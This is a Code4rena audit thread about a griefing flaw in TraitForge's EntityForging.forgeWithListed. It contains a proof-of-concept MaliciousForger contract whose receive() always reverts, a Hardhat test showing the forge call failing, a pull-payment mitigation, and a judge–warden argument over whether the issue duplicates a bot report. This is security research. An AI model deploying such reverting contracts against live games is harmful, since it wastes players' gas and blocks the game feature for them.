Forger NFT owner could `grief merger` when they call `forgeWithListed` by making the call revert when receiving funds

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-07-traitforge/blob/main/contracts/EntityForging/EntityForging.sol#L158

Vulnerability details

Description

There is a weak spot in EntityForging::forgeWithListed which allow the Forger NFT owner to grief the Merger which seems to warrant Medium.

The root cause is due to the fact that forgeWithListed is sending the funds directly to the Forger (the forge fees) when forging which can be exploited by a malicious player as the Forger owner could be a contract which always revert (or it could be dynamically adjusted depending on who is forging by the attacker) upon receiving funds.

There would be no benefits really for the attacker beside annoying the players and the game owner as the players impacted will end up wasting gas and they might think there is actually a bug in the game instead of a malicious Forger making the game owner looking bad. A competitor or a hater of the game could do this with multiple Forger NFT token minted at low prices, poluting the EntityForging contract, and the owner will not be able todo much to mitigate this.

Impact

Forger NFT owner could grief any Merger which try to forge using their NFT by forcing the transaction to revert.

PoC

Add the following changes EntityForging.test.ts and run yarn test The test will pass prooving the impact validity.

Create this malicious forger contract inside EntityForging folder and call it MaliciousForger.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./IEntityForging.sol";

contract MaliciousForger {
    receive() external payable {
        revert("Always revert");
    }

    function listForger(
        uint256 tokenId,
        uint256 fee,
        address entityForgingAddress
    ) external {
        IEntityForging(entityForgingAddress).listForForging(tokenId, fee);
    }
}

import {
  Airdrop,
  DevFund,
  EntityForging,
  EntropyGenerator,
  EntityTrading,
  NukeFund,
  TraitForgeNft,
+ MaliciousForger,
} from '../typechain-types';

    it.only('allow forger owner to grief merger by reverting when receiving funds', async () => {
      const forgerTokenId = FORGER_TOKEN_ID;
      const mergerTokenId = MERGER_TOKEN_ID;

      // 1) Deploy a malicious forger contract that will revert when receiving ETH
      let maliciousForger: MaliciousForger;
      const MaliciousForger = await ethers.getContractFactory('MaliciousForger');
      maliciousForger = (await MaliciousForger.deploy()) as MaliciousForger;

      // 2) Transfer the forger token to the malicious contract. It could be minted too, but this is just to make the test easier.
      await nft.connect(owner).transferFrom(owner.address, await maliciousForger.getAddress(), forgerTokenId);

      // 3) List the forger NFT
      await maliciousForger.listForger(forgerTokenId, FORGING_FEE, await entityForging.getAddress());

      // 4) Attempt to forge with the listed token
      await expect(
        entityForging
          .connect(user1)
          .forgeWithListed(forgerTokenId, mergerTokenId, {
            value: FORGING_FEE,
          })
      ).to.be.revertedWith('Failed to send to Forge Owner');
    });

Output

  EntityForging
Here is Root Hash: 0x55e8063f883b9381398d8fef6fbae371817e8e4808a33a4145b8e3cdd65e3926
true
false
0n
959598n
    Forge With Listed
      ✔ allow forger owner to grief merger by reverting when receiving funds (93ms)

  1 passing (4s)

Tools Used

Manual review, Hardhat test

Recommended Mitigation Steps

Consider implementing a pull payment pattern instead of pushing payments directly to the forger. This would allow the forging process to complete successfully, with the forger's payment held in the contract for later withdrawal.

Assessed type

ETH-Transfer

[koolexcrypto]

This issue has been located in the bot report. Therefore, is deemed invalid since it is known.

[L-4] External call recipient may consume all transaction gas

https://github.com/code-423n4/2024-07-traitforge/blob/main/4naly3er-report.md#l-4-external-call-recipient-may-consume-all-transaction-gas

[c4-judge]

koolexcrypto marked the issue as unsatisfactory: Invalid

[dontonka]

Hello @koolexcrypto , please allow me to reply to you even if you didn't ask, and thanks for moving this to the finding repo which is where it belong.

This issue has been located in the bot report. Therefore, is deemed invalid since it is known.

Please correct me if I'm wrong, but that by itself is not a valid reason to invalidate this finding right away. As far as I know in C4, a Low bot finding can be upgraded to M/H when the impact prooven are worst then what the bot indentified, which is not the case thought if the bot were to have identified this as a M/H, but this is not the present case as it's a Low.

[L-4] External call recipient may consume all transaction gas

I was not aware of this L-4, but there are few difference to consider:

• The bot identify the root cause, same as the report, granted (which would be the reason to invalidate it in the end, even if it's not by consuming all the gas, it lead to a revert). Nevertheless, there are 14 instances of this pattern, and the real problem (which show bigger impacts) is with a single instance. Do you think the dev would have catch this specific one by looking at the bot report realistically? This is the same reasoning why a QA finding which identify the root cause of a valid finding cannot be upgrade if provided no impacts.
• It's only a Low, so a report showing stronger impacts (as the present case) is allowed to be upgraded, of course that is at the judge discretion.
• This is a game, the following scenario is possible and realistic. Few players mints most of the NFTs, which means they mint most of the Forgers. They then list the Forgers, but only allow certain players to forge, forcing others player to waste gas trying to forge, then them complaining to the dev (which will not be able to mitigate the situation), causing a mess and having a controls over this feature in the game. They could even create a secondary market to only allow certain players to forge for a certain fee. If we extrapolate this to the extreme, we could push this idea that only few players are able to control this whole game feature, which is a sort of DOS. This is a realistic grief impact which can damage the game experience and the bot is not showing those details at all. The report is clearly showing much stronger impacts then the bots (which show none, only the root cause) which would in my humble opinion justify an upgrade and clasify this as a valid finding, but that remains you call.

If you could at least give it another thought, that would be appreciated. Sorry, I understand that this contest is not a good ROI for you, but that's the case for all the wardens too probably, it's almost over, keep up!

Thank you!

[koolexcrypto]

ROI is irrelevant in this regard.

Let's see both impacts:

From the issue

Forger NFT owner could grief any Merger which try to forge using their NFT by forcing the transaction to revert

From the bot

There is no limit specified on the amount of gas used, so the recipient can use up all of the transaction's gas, causing it to revert

Grieving or using up all the gas, it is the same.

[dontonka]

The bot identify that it will force a revert by consuming all the gas, yes, but it doesn't explain the impact such revert will have on the game which is important to consider and why I believe this report validify is justified as a Medium even if identified in the 14 instances by the bot.

Again, on the 14 instances identified by the bot, only two should potentially inject the malicious behavior (and could be incentivized todo as explained in my previous post and in the report), as the others are from trusted actors/path.

(bool success, ) = payable(listing.seller).call{ value: sellerProceeds }(
(bool success_forge, ) = forgerOwner.call{ value: forgerShare }('');